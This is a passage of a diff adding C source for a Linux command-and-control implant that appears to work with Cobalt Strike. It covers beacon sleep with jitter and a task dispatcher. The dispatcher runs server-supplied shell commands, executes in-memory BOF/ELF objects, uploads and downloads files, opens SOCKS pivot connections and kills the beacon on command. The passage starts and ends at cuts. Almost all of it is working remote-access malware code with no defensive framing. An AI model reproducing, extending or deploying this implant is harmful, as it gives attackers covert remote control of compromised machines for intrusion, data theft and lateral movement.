|
||||
return ret;
|
||||
}
|
||||
|
||||
void beacon_sleep(void)
|
||||
{
|
||||
// Apply jitter
|
||||
int jitter_ms = (g_sleep_time_ms * g_jitter_percent) / 100;
|
||||
int actual_sleep = g_sleep_time_ms + (rand() % (jitter_ms * 2 + 1)) - jitter_ms;
|
||||
|
||||
if (actual_sleep < 0) actual_sleep = g_sleep_time_ms;
|
||||
|
||||
DEBUG_PRINT("[*] Sleeping for %dms (configured: %dms, jitter: %d%%)\n", actual_sleep, g_sleep_time_ms, g_jitter_percent);
|
||||
|
||||
usleep(actual_sleep * 1000); // usleep takes microseconds
|
||||
}
|
||||
|
||||
void beacon_cleanup(beacon_state_t *state)
|
||||
{
|
||||
if (state->pending_tasks) {
|
||||
free(state->pending_tasks);
|
||||
state->pending_tasks = NULL;
|
||||
}
|
||||
memset(state, 0, sizeof(beacon_state_t));
|
||||
}
|
||||
@@ -0,0 +1,824 @@
|
||||
#include "commands.h"
|
||||
#include "beacon.h"
|
||||
#include "config.h"
|
||||
#include "files.h"
|
||||
#include "ELFRunner_include.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#include <time.h>
|
||||
#include "debug.h"
|
||||
#include "pivot.h"
|
||||
|
||||
// External beacon state - will be set by main
|
||||
extern beacon_state_t* g_beacon_state;
|
||||
|
||||
// Global sleep configuration (extern from main.c)
|
||||
extern int g_sleep_time_ms;
|
||||
extern int g_jitter_percent;
|
||||
|
||||
void pivot_callback_func(const char * buffer, int length, int type) {
|
||||
send_output_to_server((const uint8_t*)buffer, length, type);
|
||||
}
|
||||
|
||||
// Helper function to send output back to server
|
||||
void send_output_to_server(const uint8_t *output, size_t output_len, uint32_t callback_type)
|
||||
{
|
||||
if (!g_beacon_state) // Only check for beacon state
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// Build packet: [4 bytes callback type][output data]
|
||||
size_t packet_len = 4 + output_len;
|
||||
uint8_t *packet = malloc(packet_len);
|
||||
|
||||
uint32_t callback_type_be = htonl(callback_type);
|
||||
memcpy(packet, &callback_type_be, 4);
|
||||
|
||||
// Copy output data only if it exists
|
||||
if (output && output_len > 0) {
|
||||
memcpy(packet + 4, output, output_len);
|
||||
}
|
||||
|
||||
DEBUG_PRINT("[*] Sending %zu bytes of output to server (packet size: %zu, callback_type: 0x%02x)\n=========\n", output_len, packet_len, callback_type);
|
||||
|
||||
beacon_send_output(g_beacon_state, (char*)packet, packet_len);
|
||||
free(packet);
|
||||
}
|
||||
|
||||
int list_directory(const char *path, uint8_t **output, size_t *output_len)
|
||||
{
|
||||
DIR *dir = opendir(path);
|
||||
if (!dir) {
|
||||
*output_len = snprintf(NULL, 0, "Failed to open directory '%s'\n", path) + 1;
|
||||
*output = malloc(*output_len);
|
||||
if (!*output)
|
||||
{
|
||||
ERROR_PRINT("Failed to allocate memory for response output\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
snprintf((char*)*output, *output_len, "Failed to open directory '%s'\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
size_t capacity = 256;
|
||||
size_t len = 0;
|
||||
char *buffer = malloc(capacity);
|
||||
if (!buffer) {
|
||||
closedir(dir);
|
||||
return -1;
|
||||
}
|
||||
|
||||
buffer[0] = '\0';
|
||||
|
||||
struct dirent *entry;
|
||||
while ((entry = readdir(dir)) != NULL)
|
||||
{
|
||||
/* Skip . and .. */
|
||||
if (strcmp(entry->d_name, ".") == 0 ||
|
||||
strcmp(entry->d_name, "..") == 0)
|
||||
continue;
|
||||
|
||||
char line[1024];
|
||||
snprintf(line, sizeof(line), "%s\n", entry->d_name);
|
||||
|
||||
size_t line_len = strlen(line);
|
||||
|
||||
/* Grow output buffer if needed */
|
||||
if (len + line_len + 1 > capacity) {
|
||||
capacity *= 2;
|
||||
char *tmp = realloc(buffer, capacity);
|
||||
if (!tmp) {
|
||||
free(buffer);
|
||||
closedir(dir);
|
||||
return -1;
|
||||
}
|
||||
buffer = tmp;
|
||||
}
|
||||
|
||||
memcpy(buffer + len, line, line_len);
|
||||
len += line_len;
|
||||
buffer[len] = '\0';
|
||||
}
|
||||
|
||||
closedir(dir);
|
||||
|
||||
*output = (uint8_t*)buffer;
|
||||
*output_len = len + 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Returns 1 if the task buffer can be fully parsed with this layout.
|
||||
// Older servers: task_header_len = 0
|
||||
// Newer servers: task_header_len = 8 (per-task metadata before command args)
|
||||
static int validate_task_layout(const uint8_t *task_buffer, size_t task_len, size_t task_header_len, size_t *task_count_out)
|
||||
{
|
||||
size_t offset = 0;
|
||||
size_t task_count = 0;
|
||||
|
||||
while (offset + 8 <= task_len)
|
||||
{
|
||||
uint32_t command_id = ntohl(*(uint32_t*)(task_buffer + offset));
|
||||
uint32_t data_length = ntohl(*(uint32_t*)(task_buffer + offset + 4));
|
||||
offset += 8;
|
||||
|
||||
// Quick sanity check to reduce false positives when probing layouts.
|
||||
if (command_id == 0 || command_id > 0xFFFF)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (task_header_len + (size_t)data_length > task_len - offset)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
offset += task_header_len + data_length;
|
||||
task_count++;
|
||||
}
|
||||
|
||||
if (task_count_out)
|
||||
{
|
||||
*task_count_out = task_count;
|
||||
}
|
||||
|
||||
return (task_count > 0 && offset == task_len);
|
||||
}
|
||||
|
||||
int commands_execute(const uint8_t *task_data, size_t task_len, uint8_t **output, size_t *output_len, uint32_t *callback_type)
|
||||
{
|
||||
if (task_len < 4)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Default callback type is CALLBACK_OUTPUT
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
|
||||
// Parse command type (first 4 bytes, BIG endian)
|
||||
uint32_t command = ntohl(*(uint32_t*)task_data);
|
||||
const uint8_t *cmd_data = task_data + 4;
|
||||
size_t cmd_data_len = task_len - 4;
|
||||
|
||||
DEBUG_PRINT("Tasked to execute command: %u (0x%02x)\n", command, command);
|
||||
|
||||
// Print first 30 bytes for debugging
|
||||
#ifdef DEBUG
|
||||
printf("Raw bytes:\n");
|
||||
for(size_t i = 0; i < 50 && i < cmd_data_len; i++)
|
||||
{
|
||||
printf("%02x ", cmd_data[i]);
|
||||
if ((i+1) % 10 == 0) printf("\n");
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Command data length: %zu bytes\n", cmd_data_len);
|
||||
if (cmd_data_len > 0 && cmd_data_len <= 64)
|
||||
{
|
||||
printf("Command data: ");
|
||||
for(size_t i = 0; i < cmd_data_len; i++)
|
||||
{
|
||||
printf("%02x", cmd_data[i]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
#endif
|
||||
|
||||
switch (command) {
|
||||
|
||||
/*
|
||||
// making new command requires
|
||||
*output_len = snprintf(NULL, 0, "String: %s\n", str) + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "String: %s\n", str);
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
|
||||
otherwise do this if fails:
|
||||
*output_len = snprintf(NULL, 0, "Failed to do task!\n") + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "Failed to do task!\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
*/
|
||||
|
||||
// using ID 200 because the way ID 100 (COMMAND_INLINE_EXECUTE_OBJECT) sends BOF data changed in 4.12 and maybe 4.11.
|
||||
// It stores it in the Beacon Data store and passes a reference to it, and then passes the BOF args only
|
||||
// Using a custom command ID of 200 sends the BOF data the same way no matter the version
|
||||
// simple, funny fix :)
|
||||
case 200: {
|
||||
/* Format:
|
||||
[4 bytes] BOF size
|
||||
[N bytes] BOF bytes
|
||||
[4 bytes] argument size 1
|
||||
[4 bytes] argument size 2
|
||||
[N bytes] arguments
|
||||
*/
|
||||
DEBUG_PRINT("Parsing Linux Inline Execute command!\n");
|
||||
|
||||
if (cmd_data_len < 4) {
|
||||
// Not enough data for bof_size
|
||||
break;
|
||||
}
|
||||
|
||||
int bof_size = ntohl(*(uint32_t*)cmd_data);
|
||||
|
||||
// The pointer to argument_size is cmd_data + sizeof(bof_size) + bof_size
|
||||
uint8_t *p_arg_size_field = cmd_data + 4 + bof_size;
|
||||
|
||||
if ((p_arg_size_field + 4) > (cmd_data + cmd_data_len)) {
|
||||
// Not enough data for argument_size field
|
||||
DEBUG_PRINT("Not enough data for arg size field\n");
|
||||
DEBUG_PRINT("BOF size: %d\n", bof_size);
|
||||
DEBUG_PRINT("Arg size: 0\n");
|
||||
break;
|
||||
}
|
||||
|
||||
int argument_size = ntohl(*(uint32_t*)p_arg_size_field);
|
||||
|
||||
DEBUG_PRINT("BOF size: %d\n", bof_size);
|
||||
DEBUG_PRINT("Arg size: %d\n", argument_size);
|
||||
|
||||
// Calculate start and end pointers for BOF bytes
|
||||
const uint8_t* bof_bytes_start = cmd_data + 4; // After bof_size
|
||||
const uint8_t* bof_bytes_end = bof_bytes_start + bof_size;
|
||||
#ifdef DEBUG
|
||||
printf("BOF bytes (%d bytes): ", bof_size);
|
||||
if (bof_bytes_end <= (cmd_data + cmd_data_len)) {
|
||||
for (int i = 0; i < bof_size; i++) {
|
||||
printf("%02x ", bof_bytes_start[i]);
|
||||
}
|
||||
} else {
|
||||
printf("<truncated/invalid BOF bytes>");
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
// Calculate start and end pointers for BOF arguments
|
||||
const uint8_t *bof_args_start = cmd_data + 4 + bof_size; // After bof_size, bof_data, and argument_size field
|
||||
const uint8_t *bof_args_end = bof_args_start + argument_size;
|
||||
#ifdef DEBUG
|
||||
printf("BOF arguments (%d bytes): ", argument_size);
|
||||
if (bof_args_end <= (cmd_data + cmd_data_len)) {
|
||||
for (int i = 0; i < argument_size; i++) {
|
||||
printf("%02x ", bof_args_start[i]);
|
||||
}
|
||||
} else {
|
||||
printf("<truncated/invalid BOF arguments>");
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
|
||||
int outputdataLen = 0;
|
||||
int checkcode = ELFRunner("go", bof_bytes_start, bof_size, (unsigned char*)bof_args_start, argument_size);
|
||||
if (checkcode == 0)
|
||||
{
|
||||
char* outputdata = BeaconGetOutputData(&outputdataLen);
|
||||
DEBUG_PRINT("Output data : %s\n", outputdata);
|
||||
|
||||
// making new command requires
|
||||
*output_len = snprintf(NULL, 0, "%s\n", outputdata) + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "%s\n", outputdata);
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
free(outputdata);
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
*output_len = snprintf(NULL, 0, "Failed to execute BOF!\n") + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "Failed to execute BOF!\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
case COMMAND_EXECUTE_JOB: {
|
||||
|
||||
// Windows Shell command
|
||||
// Format Example: %COMSPEC% /C whoami
|
||||
// %COMSPEC% /C bytes: 25 43 4f 4d 53 50 45 43 25 00 00 00 0a 20 2f 43 20
|
||||
// whoami bytes: 77 68 6f 61 6d 69 00 00
|
||||
|
||||
DEBUG_PRINT("Parsing COMMAND_EXECUTE_JOB command\n");
|
||||
|
||||
int offset = 4; // first 4 bytes seem to be the size of the %COMSPEC%, but I don't actually know what it is for
|
||||
offset += 17; // After the 4 byte len at the beginning, the following 17 bytes are %COMSPEC% /C
|
||||
int cmd_len = cmd_data_len - offset; // We get the length of the actual command to run
|
||||
|
||||
if (cmd_len < 1)
|
||||
{
|
||||
ERROR_PRINT("Invalid command!");
|
||||
*output = NULL;
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
// Extract the actual command
|
||||
char *shell_cmd = malloc(cmd_len + 1);
|
||||
memcpy(shell_cmd, cmd_data + offset, cmd_len);
|
||||
shell_cmd[cmd_len] = '\0';
|
||||
|
||||
DEBUG_PRINT("Running shell command: '%s'\n", shell_cmd);
|
||||
|
||||
char *shell_cmd_with_stderr = malloc(strlen(shell_cmd) + 6); // extra space for " 2>&1\0"
|
||||
sprintf(shell_cmd_with_stderr, "%s 2>&1", shell_cmd);
|
||||
|
||||
// Execute using popen to capture output
|
||||
FILE *fp = popen(shell_cmd_with_stderr, "r");
|
||||
if (!fp)
|
||||
{
|
||||
ERROR_PRINT("popen failed\n");
|
||||
free(shell_cmd);
|
||||
free(shell_cmd_with_stderr);
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Read output
|
||||
char buffer[4096];
|
||||
size_t total_read = 0;
|
||||
*output = NULL;
|
||||
|
||||
while (fgets(buffer, sizeof(buffer), fp) != NULL)
|
||||
{
|
||||
size_t len = strlen(buffer);
|
||||
*output = realloc(*output, total_read + len);
|
||||
memcpy(*output + total_read, buffer, len);
|
||||
total_read += len;
|
||||
}
|
||||
|
||||
*output_len = total_read;
|
||||
int status = pclose(fp);
|
||||
free(shell_cmd);
|
||||
free(shell_cmd_with_stderr);
|
||||
|
||||
DEBUG_PRINT("Command executed, status=%d, output length: %zu\n", status, total_read);
|
||||
|
||||
// Use standard output callback
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_DIE: {
|
||||
// Exit beacon - send CALLBACK_DEAD before exiting
|
||||
DEBUG_PRINT("Received DIE command, sending CALLBACK_DEAD and exiting...\n");
|
||||
|
||||
// Set callback type to CALLBACK_DEAD (0x1a)
|
||||
*callback_type = CALLBACK_DEAD;
|
||||
|
||||
// No output data needed for CALLBACK_DEAD
|
||||
*output = NULL;
|
||||
*output_len = 0;
|
||||
|
||||
// Return 0 to indicate we want to send the callback
|
||||
// The actual exit will happen after the callback is sent
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_SLEEP: {
|
||||
// Change sleep time
|
||||
// Format: [4 bytes: sleep_ms BIG-endian][4 bytes: jitter_percent BIG-endian]
|
||||
// Note: Cobalt Strike already sends the value in milliseconds
|
||||
if (cmd_data_len < 8)
|
||||
{
|
||||
*output_len = snprintf(NULL, 0, "Invalid sleep arguments\n") + 1;
|
||||
*output = malloc(*output_len);
|
||||
if (*output) {
|
||||
snprintf((char*)*output, *output_len, "Invalid sleep arguments\n");
|
||||
}
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint32_t sleep_ms = ntohl(*(uint32_t*)cmd_data);
|
||||
uint32_t new_jitter = ntohl(*(uint32_t*)(cmd_data + 4));
|
||||
|
||||
if (sleep_ms < 200) {
|
||||
g_sleep_time_ms = 200;
|
||||
g_jitter_percent = 0;
|
||||
} else {
|
||||
g_sleep_time_ms = sleep_ms;
|
||||
g_jitter_percent = new_jitter;
|
||||
}
|
||||
|
||||
DEBUG_PRINT("Sleep time changed to: %u ms, jitter: %u%%\n", g_sleep_time_ms, g_jitter_percent);
|
||||
|
||||
// Send confirmation
|
||||
char msg[128];
|
||||
int msg_len = snprintf(msg, sizeof(msg), "Sleep set to %u ms (jitter %u%%)\n", g_sleep_time_ms, g_jitter_percent);
|
||||
*output = malloc(msg_len);
|
||||
if (!*output)
|
||||
{
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
memcpy(*output, msg, msg_len);
|
||||
*output_len = msg_len;
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_CD: {
|
||||
// Change directory
|
||||
if (cmd_data_len == 0)
|
||||
{
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *dir = malloc(cmd_data_len + 1);
|
||||
memcpy(dir, cmd_data, cmd_data_len);
|
||||
dir[cmd_data_len] = '\0';
|
||||
|
||||
if (chdir(dir) == 0)
|
||||
{
|
||||
char cwd[1024];
|
||||
getcwd(cwd, sizeof(cwd));
|
||||
*output_len = snprintf(NULL, 0, "Changed directory to: %s\n", cwd) + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "Changed directory to: %s\n", cwd);
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
}
|
||||
else
|
||||
{
|
||||
*output_len = snprintf(NULL, 0, "Failed to change directory!\n") + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "Failed to change directory!\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
}
|
||||
|
||||
free(dir);
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_PWD: {
|
||||
char cwd[1024];
|
||||
if (getcwd(cwd, sizeof(cwd)) != NULL)
|
||||
{
|
||||
*output_len = snprintf(NULL, 0, "%s\n", cwd) + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char *)*output, *output_len, "%s\n", cwd);
|
||||
*callback_type = CALLBACK_PWD; // Use PWD-specific callback
|
||||
}
|
||||
else
|
||||
{
|
||||
*output_len = snprintf(NULL, 0, "Failed to get current working directory!\n") + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char *)*output, *output_len, "Failed to get current working directory!\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_LIST: {
|
||||
/*
|
||||
ff ff ff fe 00 00 00 13 2f 68 0x13 (19) is the length of the string with a \* at the end. So -2.
|
||||
6f 6d 65 2f 65 65 2f 54 6f 6f
|
||||
6c 73 2f 63 32 5c 2a
|
||||
*/
|
||||
int dirLengthOffset = 7;
|
||||
|
||||
if (cmd_data_len <= dirLengthOffset) {
|
||||
fprintf(stderr, "Command too short\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint8_t dirLength = cmd_data[dirLengthOffset] - 2; // Doing -2 because the directory string also contains a \* at the end for some reason.
|
||||
DEBUG_PRINT("String length: %u\n", dirLength);
|
||||
|
||||
/* Validate bounds */
|
||||
if (dirLengthOffset + dirLength + 2 > cmd_data_len) {
|
||||
fprintf(stderr, "Invalid directory length\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Allocate exact size (+1 for NUL) */
|
||||
char *DirToList = malloc(dirLength + 1);
|
||||
if (!DirToList)
|
||||
{
|
||||
ERROR_PRINT("Failed to allocate space for directory name\n");
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Copy raw bytes */
|
||||
memcpy(DirToList, cmd_data + dirLengthOffset + 1, dirLength);
|
||||
DirToList[dirLength] = '\0';
|
||||
|
||||
DEBUG_PRINT("Directory to list: %s\n", DirToList);
|
||||
|
||||
list_directory(DirToList, output, output_len);
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
|
||||
free(DirToList);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_UPLOAD:
|
||||
case COMMAND_UPLOAD_CONTINUE: {
|
||||
DEBUG_PRINT("Parsing COMMAND_UPLOAD command\n");
|
||||
|
||||
if (cmd_data_len < 4) {
|
||||
*callback_type = CALLBACK_ERROR;
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint32_t file_name_len = ntohl(*(uint32_t*)cmd_data);
|
||||
if (file_name_len == 0 || file_name_len > cmd_data_len - 4) {
|
||||
*callback_type = CALLBACK_ERROR;
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *file_name = malloc(file_name_len + 1);
|
||||
if (!file_name) {
|
||||
*callback_type = CALLBACK_ERROR;
|
||||
return -1;
|
||||
}
|
||||
memcpy(file_name, cmd_data + 4, file_name_len);
|
||||
file_name[file_name_len] = '\0';
|
||||
|
||||
const uint8_t *file_content = cmd_data + 4 + file_name_len;
|
||||
size_t file_content_len = cmd_data_len - 4 - file_name_len;
|
||||
|
||||
const char *mode = (command == COMMAND_UPLOAD) ? "wb" : "ab";
|
||||
|
||||
FILE *outfile = fopen(file_name, mode);
|
||||
if (!outfile) {
|
||||
free(file_name);
|
||||
*output_len = snprintf(NULL, 0, "Failed to open file for writing: %s", file_name) + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "Failed to open file for writing: %s", file_name);
|
||||
*callback_type = CALLBACK_ERROR;
|
||||
return 0;
|
||||
}
|
||||
|
||||
fwrite(file_content, 1, file_content_len, outfile);
|
||||
fclose(outfile);
|
||||
|
||||
*output_len = snprintf(NULL, 0, "Uploaded %zu bytes to %s", file_content_len, file_name) + 1;
|
||||
*output = malloc(*output_len);
|
||||
snprintf((char*)*output, *output_len, "Uploaded %zu bytes to %s", file_content_len, file_name);
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
|
||||
free(file_name);
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_DOWNLOAD: {
|
||||
DEBUG_PRINT("Parsing COMMAND_DOWNLOAD command\n");
|
||||
command_download(cmd_data, cmd_data_len);
|
||||
*output_len = 0;
|
||||
*output = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_CANCEL_DOWNLOAD: {
|
||||
DEBUG_PRINT("Parsing COMMAND_DOWNLOAD_STOP command\n");
|
||||
command_download_stop(cmd_data, cmd_data_len);
|
||||
*output_len = 0;
|
||||
*output = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_LISTEN: {
|
||||
DEBUG_PRINT("Parsing COMMAND_LISTEN command for SOCKS\n");
|
||||
command_listen_socks(cmd_data, cmd_data_len, pivot_callback_func);
|
||||
*output_len = 0;
|
||||
*output = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_CONNECT: {
|
||||
// COMMAND_CONNECT (14): Initiate a new SOCKS connection to a target.
|
||||
// The C2 server sends the target information in the following format:
|
||||
// [4 bytes] Socket ID (big endian)
|
||||
// [2 bytes] Target port (big endian)
|
||||
// [N bytes] Target host (string)
|
||||
DEBUG_PRINT("Parsing COMMAND_CONNECT command for SOCKS\n");
|
||||
command_connect_socks(cmd_data, cmd_data_len, pivot_callback_func);
|
||||
*output_len = 0;
|
||||
*output = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_SEND: {
|
||||
// COMMAND_SEND (15): Forward data from the C2 server to an established SOCKS connection.
|
||||
// The data format is:
|
||||
// [4 bytes] Socket ID (big endian)
|
||||
// [N bytes] Data to write to the socket
|
||||
DEBUG_PRINT("Parsing COMMAND_SEND command for SOCKS\n");
|
||||
command_send_socks(cmd_data, cmd_data_len);
|
||||
*output_len = 0;
|
||||
*output = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
case COMMAND_CLOSE: {
|
||||
// COMMAND_CLOSE (16): Close an active SOCKS connection.
|
||||
// The data format is:
|
||||
// [4 bytes] Socket ID (big endian) to be closed
|
||||
DEBUG_PRINT("Parsing COMMAND_CLOSE command for SOCKS\n");
|
||||
command_close_socks(cmd_data, cmd_data_len);
|
||||
*output_len = 0;
|
||||
*output = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
// Send response to teamserver
|
||||
char* response = "Unknown command!";
|
||||
size_t len = strlen(response) + 1;
|
||||
|
||||
char* buf = malloc(len + 1);
|
||||
if (!buf)
|
||||
{
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
return -1;
|
||||
}
|
||||
|
||||
memcpy(buf, response, len);
|
||||
|
||||
*output = (uint8_t*)buf;
|
||||
*output_len = len;
|
||||
*callback_type = CALLBACK_OUTPUT;
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int commands_parse_tasks(const uint8_t *task_buffer, size_t task_len)
|
||||
{
|
||||
/*
|
||||
The full task data is sent to this command
|
||||
|
||||
Old server layout (v4.9):
|
||||
[4 bytes] Command ID
|
||||
[4 bytes] Length of command-specific data
|
||||
[N bytes] Command-specific data
|
||||
|
||||
New server layout (v4.12):
|
||||
[4 bytes] Command ID
|
||||
[4 bytes] Length of command-specific data
|
||||
[8 bytes] Per-task metadata/header
|
||||
[N bytes] Command-specific data
|
||||
*/
|
||||
|
||||
DEBUG_PRINT("Parsing task buffer: %zu bytes total\n", task_len);
|
||||
#ifdef DEBUG
|
||||
printf("Raw task buffer data: ");
|
||||
for(size_t i = 0; i < task_len && i < 64; i++) {
|
||||
printf("%02x", task_buffer[i]);
|
||||
}
|
||||
printf("\n");
|
||||
#endif
|
||||
|
||||
size_t v2_task_count = 0;
|
||||
size_t v1_task_count = 0;
|
||||
int v2_valid = validate_task_layout(task_buffer, task_len, 8, &v2_task_count);
|
||||
int v1_valid = validate_task_layout(task_buffer, task_len, 0, &v1_task_count);
|
||||
size_t task_header_len = 0;
|
||||
|
||||
if (v2_valid && !v1_valid)
|
||||
{
|
||||
task_header_len = 8;
|
||||
DEBUG_PRINT("Detected task layout: new server format (8-byte per-task header)\n");
|
||||
}
|
||||
else if (v1_valid && !v2_valid)
|
||||
{
|
||||
task_header_len = 0;
|
||||
DEBUG_PRINT("Detected task layout: old server format (no per-task header)\n");
|
||||
}
|
||||
else if (v2_valid && v1_valid)
|
||||
{
|
||||
// Ambiguous payload: prefer newer layout.
|
||||
task_header_len = 8;
|
||||
DEBUG_PRINT("Detected ambiguous task layout (v2 tasks=%zu, v1 tasks=%zu), using new server format\n",
|
||||
v2_task_count, v1_task_count);
|
||||
}
|
||||
else
|
||||
{
|
||||
ERROR_PRINT("[!] Could not determine task layout (old/new)\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t offset = 0;
|
||||
|
||||
// LOOP through all tasks in the full task data buffer
|
||||
while (offset + 8 + task_header_len <= task_len)
|
||||
{
|
||||
// Command Specific Task
|
||||
// [4 bytes] Length of command-specific data
|
||||
// [8 bytes] Per-task metadata/header (4.12)
|
||||
// [N bytes] Command specific data
|
||||
|
||||
// Read command ID (BIG endian / network byte order)
|
||||
uint32_t command_id = ntohl(*(uint32_t*)(task_buffer + offset));
|
||||
offset += 4;
|
||||
|
||||
// Read data length (BIG endian / network byte order)
|
||||
uint32_t data_length = ntohl(*(uint32_t*)(task_buffer + offset));
|
||||
offset += 4;
|
||||
|
||||
DEBUG_PRINT("Parsed task: Command=%u (0x%02x), Length=%u, offset=%zu\n", command_id, command_id, data_length, offset);
|
||||
|
||||
// Each task contains 8 bytes of metadata before the command-specific args.
|
||||
if (task_header_len + data_length > task_len - offset)
|
||||
{
|
||||
DEBUG_PRINT("[!] Invalid task length: %u (+%zu header) (only %zu bytes remaining)\n",
|
||||
data_length, task_header_len, task_len - offset);
|
||||
break;
|
||||
}
|
||||
|
||||
// Build full task for this singular command
|
||||
size_t full_task_len = 4 + data_length;
|
||||
uint8_t *full_task = malloc(full_task_len);
|
||||
if (!full_task)
|
||||
{
|
||||
DEBUG_PRINT("[!] Failed to allocate memory for task execution buffer\n");
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t cmd_be = htonl(command_id);
|
||||
memcpy(full_task, &cmd_be, 4);
|
||||
memcpy(full_task + 4, task_buffer + offset + task_header_len, data_length);
|
||||
|
||||
DEBUG_PRINT("Executing task (total %zu bytes)\n", full_task_len);
|
||||
|
||||
// Execute this specific task
|
||||
uint8_t* output = NULL;
|
||||
size_t output_len = 0;
|
||||
uint32_t callback_type = CALLBACK_OUTPUT; // Will be set by commands_execute
|
||||
|
||||
if (commands_execute(full_task, full_task_len, &output, &output_len, &callback_type) == 0)
|
||||
{
|
||||
// Special handling for COMMAND_DIE
|
||||
if (command_id == COMMAND_DIE)
|
||||
{
|
||||
// Send the CALLBACK_DEAD response
|
||||
DEBUG_PRINT("Sending CALLBACK_DEAD (0x%02x) to teamserver...\n", callback_type);
|
||||
send_output_to_server(output, output_len, callback_type);
|
||||
if (output) free(output);
|
||||
|
||||
DEBUG_PRINT("CALLBACK_DEAD sent successfully\n");
|
||||
|
||||
usleep(500);
|
||||
|
||||
DEBUG_PRINT("Exiting beacon now...\n");
|
||||
|
||||
// Clean up and exit
|
||||
free(full_task);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (output && output_len > 0)
|
||||
{
|
||||
// Print output for debugging (limit to 200 chars)
|
||||
DEBUG_PRINT("Command produced output (%zu bytes) with callback_type 0x%02x:\n", output_len, callback_type);
|
||||
size_t print_len = output_len < 200 ? output_len : 200;
|
||||
DEBUG_PRINT("%.*s%s\n", (int)print_len, (char*)output, output_len > 200 ? "..." : "");
|
||||
|
||||
// Send with the callback type returned by commands_execute
|
||||
send_output_to_server(output, output_len, callback_type);
|
||||
free(output);
|
||||
}
|
||||
else
|
||||
{
|
||||
DEBUG_PRINT("Command executed successfully (no output)\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
DEBUG_PRINT("[!] Command execution failed\n");
|
||||
}
|
||||
|
||||
free(full_task);
|
||||
offset += task_header_len + data_length;
|
||||
}
|
||||
|
||||
if (offset < task_len)
|
||||
{
|
||||
DEBUG_PRINT("%zu bytes remaining in task buffer (possibly padding)\n", task_len - offset);
|
||||
}
|
||||
|
||||
return 0;
